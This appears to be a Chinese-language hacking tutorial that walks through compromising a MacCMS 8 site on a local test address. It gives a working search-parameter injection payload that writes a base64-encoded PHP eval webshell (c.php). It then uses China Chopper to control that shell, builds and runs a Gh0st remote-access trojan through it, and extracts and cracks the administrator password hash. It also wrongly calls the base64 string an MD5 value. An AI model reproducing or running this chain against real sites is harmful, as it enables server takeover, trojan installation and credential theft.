苹果cmsx.8取管理员权限

用到的工具

· 火狐插件hackbar · 中国菜刀 · gh0st · 苹果 cms 历史漏洞https://blog.csdn.net/m0_37438418/article/details/81006161

操作步骤

下载火狐插件 hackbar 在苹果 cms 的主页搜索界面临时搭的站 http://192.168.0.137/

2.按下 F12 点 HackBar 选择 Post data 填写如下内容点击 Execute 按钮

·http://192.168.0.137/index.PHP?mvod-search·wd{if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x MD5解密1 就是创建 c.php 传入参数 c

3.打开中国菜刀右键 -> 添加 。输入以下内容 4. 找到 config.php 文件打开 5.打开 Gh0st 。选项 -> 创建客户 输入以下信息后测试连接 在这里需要查找合适的端口尽量选择数字大的端口查看此端口是否被占用如果被占用则结束占用此端口的进程

如果测试连接成功点击 “生成” 按钮 将木马文件保存。

把 server.exe 放入菜刀直接拖进去

打开菜刀 右键 -> 虚拟终端 输入 server.exe 执行木马文件。之后会在Gh0st 下看到被连接的用户。

右键 -> 屏幕控制 右键 -> 控制屏幕 。 打开 Phpstudy -> MySQL 管理器 -> MySQL-Front 10 找到在config.php 里对应的数据库名 “maccms” 打开可疑的表 “mac_manager”

管理员账号admin 管理员密码a66abb5684c45962d887564f08346e8d 解密后admin123456

登录后台 成功